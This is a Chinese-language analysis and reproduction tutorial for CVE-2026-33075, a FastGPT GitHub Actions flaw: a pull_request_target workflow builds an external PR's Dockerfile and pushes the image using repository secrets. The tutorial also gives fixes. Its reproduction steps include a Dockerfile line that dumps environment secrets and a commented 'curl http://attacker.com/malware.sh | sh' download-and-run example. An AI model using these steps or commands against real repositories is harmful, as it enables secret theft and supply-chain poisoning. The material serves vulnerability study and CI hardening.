CVE-2026-33075 FastGPT 从外部 PR 到高权限执行
字数 4357
更新时间 2026-04-01 12:11:34

CVE-2026-33075 FastGPT 供应链投毒漏洞分析与复现教学

1. 漏洞概述

CVE编号:CVE-2026-33075
漏洞名称:FastGPT 从外部PR到高权限执行漏洞
影响产品:FastGPT(一个AI代理构建平台)
影响版本:4.14.8.4 及以下版本(文档后续未明确标注修复版本)
漏洞类型:GitHub Actions配置不当导致的供应链攻击/任意代码执行
风险等级:高危

2. 漏洞描述

在FastGPT 4.14.8.3及以下版本中,位于 .github/workflows/fastgpt-preview-image.yml 的GitHub Actions工作流程存在严重安全配置缺陷。该工作流使用了pull_request_target事件触发器,此触发器会在目标仓库的安全上下文中运行(默认拥有仓库机密secrets的访问权限和较高的写入权限),但关键错误在于,它随后通过actions/checkout操作从外部贡献者的PR分支检出并执行了攻击者可控的代码。

具体来说,工作流会使用攻击者提交的PR中的Dockerfile来构建Docker镜像,并利用目标仓库的机密(如容器镜像仓库的登录凭证)将构建的镜像推送到远程镜像仓库。这导致了以下两个核心风险:

  1. 任意代码执行:攻击者可以在其可控的Dockerfile中植入任意命令,在工作流运行时执行。
  2. 供应链投毒:攻击者可以将包含恶意代码的镜像推送到生产镜像仓库,进而污染供应链。
  3. 秘密窃取:虽然工作流运行日志可能对PR提交者不可见,但通过构建恶意镜像并推送,攻击者已实质性地将恶意代码注入到官方镜像流中,达到了供应链攻击的目的。

3. 漏洞成因与深度分析

漏洞根源于GitHub Actions工作流中危险模式的错误组合。以下是逐步拆解:

3.1 危险的事件触发器:pull_request_target

工作流由pull_request_target事件触发。与普通的pull_request事件不同,pull_request_target的设计初衷是为了让维护者能够运行需要访问仓库机密(Secrets)的工作流来验证外部贡献者的PR,例如运行需要API密钥的集成测试。

  • 关键特性pull_request_target工作流在目标仓库(即被提交PR的原始仓库)的上下文中运行。这意味着:
    • 它默认拥有对目标仓库GITHUB_TOKEN的写入权限。
    • 它可以访问目标仓库配置的Secrets
    • 它拥有工作流中声明的其他权限(如contents: write)。

3.2 错误的工作流步骤:检出不可信代码

尽管工作流在受信任的上下文中运行,但其后续步骤引入了不信任的代码。

  1. 检出(Checkout)攻击者代码

    - name: Checkout
      uses: actions/checkout@v3
      with:
        ref: ${{ github.event.pull_request.head.ref }}
        repository: ${{ github.event.pull_request.head.repo.full_name }}
    
    • ref: 指向PR提交者分支的引用。
    • repository: 指向PR提交者fork的仓库地址。
    • 后果:此步骤将外部贡献者(攻击者)分支上的全部代码下载到了工作流的工作目录中。这是后续所有操作(包括构建)的源码基础。
  2. 拥有高权限的GITHUB_TOKEN
    工作流配置了强大的权限集,包括:

    • packages: write (写入包仓库)
    • pull-requests: write (写入PR)
    • id-token: write (写入ID令牌,用于OIDC等)
      这些权限本应用于受信任的维护者操作,但现在与不可信代码结合,风险倍增。
  3. 使用攻击者的Dockerfile构建镜像
    工作流后续步骤会读取并执行从攻击者代码库中检出的Dockerfile(例如projects/app/Dockerfile)。攻击者可以完全控制此文件的内容。

  4. 使用目标仓库的Secrets推送恶意镜像
    工作流登录远程镜像仓库(如阿里云容器镜像服务)的凭证(ALI_HUB_USERNAME, ALI_HUB_PASSWORD)来自于目标仓库的Secrets。它使用这些受信任的凭证,将用攻击者Dockerfile构建的镜像推送到生产镜像仓库(ALI_IMAGE_NAME)。

漏洞链条总结
pull_request_target(获取高权限+Secrets) + checkout外部代码(引入恶意输入) + 执行外部Dockerfile(任意命令执行) + 使用Secrets推送镜像(供应链投毒) = 完整的权限提升与供应链攻击路径。

4. 漏洞复现实践

本部分将引导你完整复现该漏洞。请在完全可控的测试环境中进行,切勿对任何生产或他人仓库进行攻击测试。

4.1 准备阶段

  • 账号准备:需要两个GitHub账号,模拟攻击者(B)和维护者(A)。
  • 环境准备:一个阿里云容器镜像服务实例(或其他私有/公有镜像仓库)用于接收推送的镜像。

4.2 维护者(受害者)侧配置(账号A)

  1. 创建仓库:账号A将存在漏洞的FastGPT源码(<=4.14.8.3版本)上传到自己的GitHub仓库。
  2. 配置仓库Secrets:在仓库的 Settings -> Secrets and variables -> Actions 中,添加以下Secrets:
    • ALI_HUB_USERNAME: 你的容器镜像服务用户名。
    • ALI_HUB_PASSWORD: 你的容器镜像服务密码。
    • ALI_IMAGE_NAME: 你的镜像仓库完整地址,例如 registry.cn-hangzhou.aliyuncs.com/your_namespace/your_repo
  3. (可选修改工作流文件):为了在测试中让镜像推送到你的仓库,需要修改 .github/workflows/fastgpt-preview-image.yml 文件,将其中的镜像仓库地址变量替换为你的 ALI_IMAGE_NAME Secret所指向的地址,或者直接硬编码为你的测试地址。这是复现的必要步骤,真实漏洞中此地址已是目标仓库的正式生产地址。

4.3 攻击者侧攻击流程(账号B)

  1. Fork仓库:使用账号B,访问账号A的仓库并点击“Fork”,将其复制到账号B名下。
  2. 植入恶意Dockerfile:在账号B的Fork仓库中,编辑 projects/app/Dockerfile 文件。在适当的RUN指令位置,插入测试性或恶意命令。例如:
    # 在原有内容基础上添加
    RUN env > /tmp/stolen_secrets.txt && cat /tmp/stolen_secrets.txt  # 测试命令:打印环境变量
    # 或更具攻击性的命令,如反向Shell、下载执行木马等。
    # RUN curl -s http://attacker.com/malware.sh | sh
    
  3. 创建拉取请求(PR)
    • 在账号B的Fork仓库页面,点击 “Pull request” -> “New pull request”。
    • 选择将账号B的修改分支合并到账号A的主分支。
    • 创建PR。
  4. 触发漏洞:PR创建后,账号A的仓库中配置的 fastgpt-preview-image.yml 工作流会自动触发(由pull_request_target事件触发)。
  5. 观察结果
    • 在账号A的仓库中,进入该PR,点击“Checks”或“Actions”标签,可以看到触发的FastGPT Preview Image工作流。
    • 点击进入工作流运行详情,可以观察到工作流执行了你在Dockerfile中插入的命令(如env)。
    • 工作流最终会构建Docker镜像,并使用账号A配置的Secrets,将镜像推送到ALI_IMAGE_NAME指定的镜像仓库中。
    • 攻击者(账号B)虽然可能无法直接查看工作流运行日志(取决于仓库设置),但恶意镜像已被成功推送到目标仓库,完成了供应链投毒的关键一步。攻击者可以通过拉取该镜像来验证攻击成功。

5. 修复建议与安全实践

针对此类GitHub Actions配置漏洞,修复核心原则是:严格分离可信上下文与不可信代码的执行

  1. 首要修复方案:拆分工作流

    • 方案A(推荐):完全移除pull_request_target在此场景下的使用。
      • 将PR验证性构建改为由pull_request事件触发。此工作流不应拥有任何Secrets,且GITHUB_TOKEN权限应设置为最小(contents: read)。
      • 此工作流仅执行代码检查、测试和构建,不执行推送。它从PR分支检出代码并构建,但构建产物仅用于验证,不发布。
    • 方案B:如果必须由PR触发镜像构建与推送,则应采用“两级工作流”或“标签触发”。
      • 维护者审核PR后,通过评论特定命令(如/deploy)或合并PR时打上标签(如release)来触发另一个由workflow_dispatchpush事件触发的工作流。
      • 这个后续工作流从受信任的目标仓库默认分支检出代码,使用受信任的Dockerfile进行构建和推送。它可以使用Secrets,因为它执行的是受信任的代码。
  2. 最小权限原则

    • 仔细审查并削减工作流的permissions设置。对于仅需构建的流水线,移除packages: write, id-token: write, attestations: write等不必要的写权限。
    • GITHUB_TOKEN显式配置所需的最小权限,而不是使用默认的宽松权限。
  3. 代码来源控制

    • 绝对禁止pull_request_target工作流中,通过checkout拉取并执行来自github.event.pull_request.head的代码(即外部贡献者的代码)。
    • 如果必须在pull_request_target中运行某些检查,应首先检出目标仓库的受信任分支(如${{ github.event.pull_request.base.ref }}),然后再通过actions/checkoutpath参数,将外部PR的代码检出到另一个目录进行只读比较或分析,绝不直接执行。
  4. 安全审计

    • 立即检查项目中所有使用pull_request_target事件的工作流,确认其没有执行外部不可信代码。
    • 使用GitHub的安全特性(如CodeQL)或第三方SAST工具对工作流文件进行扫描。

6. 总结

CVE-2026-33075是一个典型的GitHub Actions错误配置导致的供应链安全漏洞。它生动地展示了将高权限上下文(pull_request_target + Secrets)与不可信代码源(外部PR代码)相结合所产生的巨大风险。开发者在设计CI/CD流水线时,必须牢固树立“信任边界”意识,确保拥有权限的操作只应用于经过验证的、可信的代码之上。

相似文章
相似文章
 全屏